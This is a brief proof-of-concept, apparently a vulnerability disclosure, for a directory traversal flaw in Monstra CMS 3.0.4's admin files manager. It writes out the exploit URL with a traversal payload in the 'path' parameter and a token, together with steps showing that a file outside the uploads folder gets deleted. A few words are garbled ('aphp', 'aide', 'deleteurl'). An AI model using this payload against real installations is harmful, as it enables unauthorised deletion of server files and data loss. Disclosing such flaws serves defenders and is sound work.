Vulnerable URL:http://127.0.0.1/monstra-3.0.4/admin/index.php?id=filesmanager&delete_file=1.txt&path=uploads/.......//./.......//./&token=7514f1bfccba396c26a9b80341db814ea505d80aphp
touch 1.txt in /var/www/html/monstra-3.0.4/html
visit url:http://172.16.173.238/monstra-3.0.4/admin/index.php?id=filesmanager&delete_file=1.txt&path=uploads/.......//./.......//./&token=7514f1bfccba396c26a9b80341db814ea505d80aide
the 1.txt will deleteurl